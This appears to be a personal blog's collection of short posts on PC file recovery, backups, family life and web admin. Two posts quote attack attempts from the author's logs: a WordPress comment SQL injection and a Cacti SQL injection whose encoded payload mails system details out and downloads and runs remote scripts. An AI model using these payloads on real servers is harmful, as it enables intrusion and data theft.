My brother recently ran into problems with his laptop running Windows XP. I thought I'd share an easy method to recover files when you are unable to boot into Windows due to the dreaded blue screen of death or other OS problem. Keep in mind that this may not help you if you have a hardware problem. (But I've been able to recover a significant amount of data on systems with hardware problems using this method.)

Step by Step Windows file recovery

Required items

• Knoppix CD (free download)
• External hard drive (USB)

6 Easy Steps to recover your files

1. Plug in your external drive. (That was easy, right?)
2. Boot from the Knoppix CD. You may have to modify your BIOS settings if the system tries to boot from the hard drive. With my brother's laptop, it was as easy as putting in the CD and holding the "c" key down when I saw the Toshiba splash screen come up.
3. At the boot: prompt, just hit Enter. It will take a few minutes for the system to boot up.
4. On your desktop, you should see multiple Hard Disks listed. Each of these is a partition that Knoppix found while booting. Single-click on them to open them up and see what's in there (no need to double-click.) One of the drives will be your external drive.
5. Copy the files you need from your systems disk(s) to your external drive. You can do this by either dragging and dropping the files/folders or you can copy (Ctrl-c) and paste (Ctrl-v).
6. (Optional) Install Linux so you don't have to worry about the dreaded blue screen of death anymore (or viruses, spyware, defragmenting your hard drive, paying license fees, degrading system performance, etc...) My favorite version is Kubuntu. You can download a CD here and try it out without actually installing it on your computer. Keep in mind that it will be slow if you are running it from the CD (CDROM drives are sooo much slower than hard drives.)

I have comment moderation turned on for most of the blog sites I manage. As a result, if someone new comes in and posts a comment, I get a nice email letting me know that I need to approve it. Yesterday, I got one that said this:

Author : Bill366758271','258878095billy@msn.com','','171.85.174.159','2008-03-11 22:28:47','2008-03-11 22:28:47','','0','lynx','comment','0','0'),('0', '', '', '', '', '2008-03-12 22:28:47', '2008-03-12 22:28:47', '', 'spam', '', 'comment', '0','0' ) /* (IP: 124.217.231.53 , 124.217.231.53)
E-mail :
URL : http://None
Whois : http://ws.arin.net/cgi-bin/whois.pl?queryinput=124.217.231.53
Comment:
None...

It looks like they were trying to bypass the comment approval process with an SQL injection attack. I'm not sure which versions of Wordpress are vulnerable, but I'm sure there are some older ones that are.

I came across this post today about backing up your Gmail account.  One thing made me a little concerned.  This is a Google employee telling us how to backup our Gmail accounts.  Does he know something we don't know?  Should we be concerned about the reliability of our Gmail accounts?

Anyway, since most of you are probably Windows users, you can easily back up your gmail account by using a client like Thunderbird on your computer.  All you need to do is enable POP access to your gmail account (go to "Settings" in your account) and download the messages to your local computer.  When you are on the settings page where you enable POP access, there is a link to a page that gives directions on how to setup Thunderbird.

In general, backups are important.  I usually go a little overboard to backup my data.  My question to you is, Do you backup your data?  If so, how do you do it?

Here's a short ad from tv featuring my uncle. The easiest way to summarize is that he is an awesome man. I always love telling people that my uncle skied in the Olympics.

I am preparing for an upcoming winter campout with the scouts and came across this video when checking ice levels at a nearby reservoir.

I have no idea where this video was taken.

When I watched Star Wars with my 3 year old she was convinced that Obi-Wan was Jesus. That was months ago. This week, she found a land-speeder lego toy with Luke and Obi-Wan in it. She came over and told me that it was Jesus and Moses. I wonder how long it will take her to realize that Jesus doesn't carry a light saber.

I came across this video today (Star Wars according to a 3 year old) and thought I should share...

So, I was just contacted about a blog post that was accidentally deleted and recreated. Unfortunately, links to the old post had already been sent out. I wanted to use ReWrite to send anyone going to:
http://theblogdomainname.com/?p=376
to:
http://theblogdomainname.com/?p=375

a simple edit to my .htaccess file and viola! it works:
RewriteEngine on
RewriteCond %{QUERY_STRING} ^p=375(.*) [NC]
RewriteRule ^.*$ http://theblogdomainname.com/?p=376%1 [R=301,L]

One nice thing about this is it preserves any parameters following the "p" parameter.  In this case, additional parameters were being used in the URL for tracking.

I was going through some apache access logs this morning and came across an attempted SQL injection attack. I don't have Cacti on my server, so I wasn't affected by the attempt. Here's the request:

24.147.54.90 - - [04/Feb/2008:23:25:30 -0700] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,
CHAR(112,114,111,99),null,1,300,0,CHAR(32,47,115,98,105,110,47,105,102,99,111,110,102,105,103,32,124,32,
103,114,101,112,32,105,110,101,116,32,62,32,47,116,109,112,47,111,117,116,59,32,117,110,97,109,101,32,45,
97,32,62,62,32,47,116,109,112,47,111,117,116,59,32,117,112,116,105,109,101,32,62,62,32,47,116,109,112,47,
111,117,116,59,32,99,97,116,32,47,116,109,112,47,111,117,116,32,124,32,109,97,105,108,32,45,115,32,54,54,
46,49,56,48,46,49,55,50,46,51,56,32,104,97,99,107,101,100,32,97,108,101,120,97,97,97,56,57,64,121,97,104,
111,111,46,99,111,109,59,119,103,101,116,32,119,119,119,46,97,108,101,120,117,116,122,46,97,115,46,114,
111,47,116,32,45,79,32,47,116,109,112,47,116,59,99,104,109,111,100,32,43,120,32,47,116,109,112,47,116,59,
47,116,109,112,47,116,59,119,103,101,116,32,119,119,119,46,97,108,101,120,117,116,122,46,97,115,46,114,
111,47,116,46,112,108,32,45,79,32,47,116,109,112,47,116,46,112,108,59,112,101,114,108,32,47,116,109,112,
47,116,46,112,108,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM
/**/host/*+11111 HTTP/1.0" 200 642 "-" "-"

It looks like someone out there has an automated bot going around attempting this injection attack everywhere.

If I could have a "do over" on my laptop purchase from last November, I would have gotten one of these Asus Eee laptops.

Here's why:

1. I don't need a totally powerful machine - 98% of my work is done in a command line, firefox or thunderbird. If I'm going to do work in Photoshop, I'll borrow my wife's laptop (I can't afford more than one copy of it anyway!)
2. I want my laptop to be portable - I'm willing to sacrifice a faster processor for a small laptop. When it comes to laptops, my opinion is smaller is better. If I could have multiple command line windows open on my Treo, I'd just use that as my portable computer. At 6.3 x 8.9 x 0.8 inches & 2 pounds, the Asus Eee laptop seems pretty sweet.
3. I put Linux on all my computers anyway (my wife's MacBook doesn't qualify as one of my computers)

I'm pleased about how many reviewers of this laptop on Amazon are happy with Linux on this laptop and never install Windows.

Well, our last laptop lasted 6 years, so I'll probably be shopping around again in 2014 for another laptop.

In a deal worth $44.6 billion in cash and stock.  Microsoft has made an unsolicited offer for Yahoo!  In my opinion, Microsoft has always struggled in the online world.  Yahoo! has done well in the online world, but has had decreasing earnings.  Maybe they will combine their best attributes and give Google a run for their money.  (I'm not getting my hopes up.)